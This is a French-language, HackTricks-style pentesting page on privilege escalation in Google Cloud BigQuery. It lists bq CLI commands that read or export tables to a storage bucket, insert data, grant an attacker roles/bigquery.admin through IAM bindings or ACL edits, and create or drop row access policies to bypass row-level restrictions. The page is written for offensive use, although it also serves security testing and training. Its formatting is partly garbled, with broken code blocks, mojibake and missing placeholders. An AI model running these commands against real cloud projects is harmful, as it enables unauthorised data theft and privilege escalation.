GCP - BigQuery Privesc

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BigQuery

Pour plus d’informations sur BigQuery, consultez :

GCP - Bigquery Enum

Lire la table

La lecture des informations stockées dans une table BigQuery peut permettre de trouver des informations sensibles. Pour accéder à ces informations, les permissions nécessaires sont bigquery.tables.get, bigquery.jobs.create et bigquery.tables.getData :

Lire les données d'une table BigQuery ```bash bq head . bq query --nouse_legacy_sql 'SELECT * FROM `..` LIMIT 1000' ```

Exporter des données

Ceci est une autre façon d’accĂ©der aux donnĂ©es. Exportez-les vers un cloud storage bucket et tĂ©lĂ©chargez les fichiers contenant les informations.
Pour effectuer cette action, les permissions suivantes sont nécessaires : bigquery.tables.export, bigquery.jobs.create et storage.objects.create.

Exporter une table BigQuery vers Cloud Storage ```bash bq extract .
"gs:///table*.csv" ```

Insérer des données

Il pourrait ĂȘtre possible d’introduire certaines donnĂ©es de confiance dans une table BigQuery pour abuser d’une vulnerability ailleurs. Cela peut ĂȘtre fait facilement avec les permissions bigquery.tables.get, bigquery.tables.updateData et bigquery.jobs.create :

Insérer des données dans une table BigQuery ```bash # Via query bq query --nouse_legacy_sql 'INSERT INTO `..` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

Via insert param

bq insert dataset.table /tmp/mydata.json

</details>

### `bigquery.datasets.setIamPolicy`

Un attaquant pourrait abuser de ce privilÚge pour **s'octroyer des autorisations supplémentaires** sur un BigQuery dataset :

<details>
<summary>DĂ©finir la politique IAM sur un BigQuery dataset</summary>
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Cette permission seule permet de mettre à jour votre accÚs à un dataset BigQuery en modifiant les ACLs qui indiquent qui peut y accéder :

Mettre Ă  jour les ACLs du dataset BigQuery ```bash # Download current permissions, reqires bigquery.datasets.get bq show --format=prettyjson : > acl.json ## Give permissions to the desired user bq update --source acl.json : ## Read it with bq head $PROJECT_ID:.
```

bigquery.tables.setIamPolicy

Un attaquant pourrait abuser de ce privilùge pour s’octroyer davantage d’autorisations sur une table BigQuery:

DĂ©finir la politique IAM sur une table BigQuery ```bash # For this you also need bigquery.tables.setIamPolicy bq add-iam-policy-binding \ --member='user:' \ --role='roles/bigquery.admin' \ :.

use the set-iam-policy if you don’t have bigquery.tables.setIamPolicy

</details>

### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`

D'aprÚs la documentation, avec les permissions mentionnées il est possible de **mettre à jour une row policy.**\
Cependant, **en utilisant le CLI `bq`** vous avez besoin de permissions supplémentaires : **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.

<details>
<summary>Créer ou remplacer row access policy</summary>
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used

Il est possible de trouver le filter ID dans la sortie de la row policies enumeration. Exemple :

List row access policies ```bash bq ls --row_access_policies :.

Id Filter Predicate Grantees Creation Time Last Modified Time

apac_filter term = “Cfba” user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09

</details>

Si vous avez **`bigquery.rowAccessPolicies.delete`** au lieu de `bigquery.rowAccessPolicies.update`, vous pouvez aussi simplement supprimer la row access policy :

<details>
<summary>Delete row access policies</summary>
```bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

Caution

Une autre option possible pour bypass les politiques d’accĂšs par ligne serait simplement de modifier la valeur des donnĂ©es restreintes. Si vous ne pouvez voir que lorsque term est Cfba, modifiez simplement tous les enregistrements de la table pour avoir term = "Cfba". Cependant, ceci est empĂȘchĂ© par bigquery.

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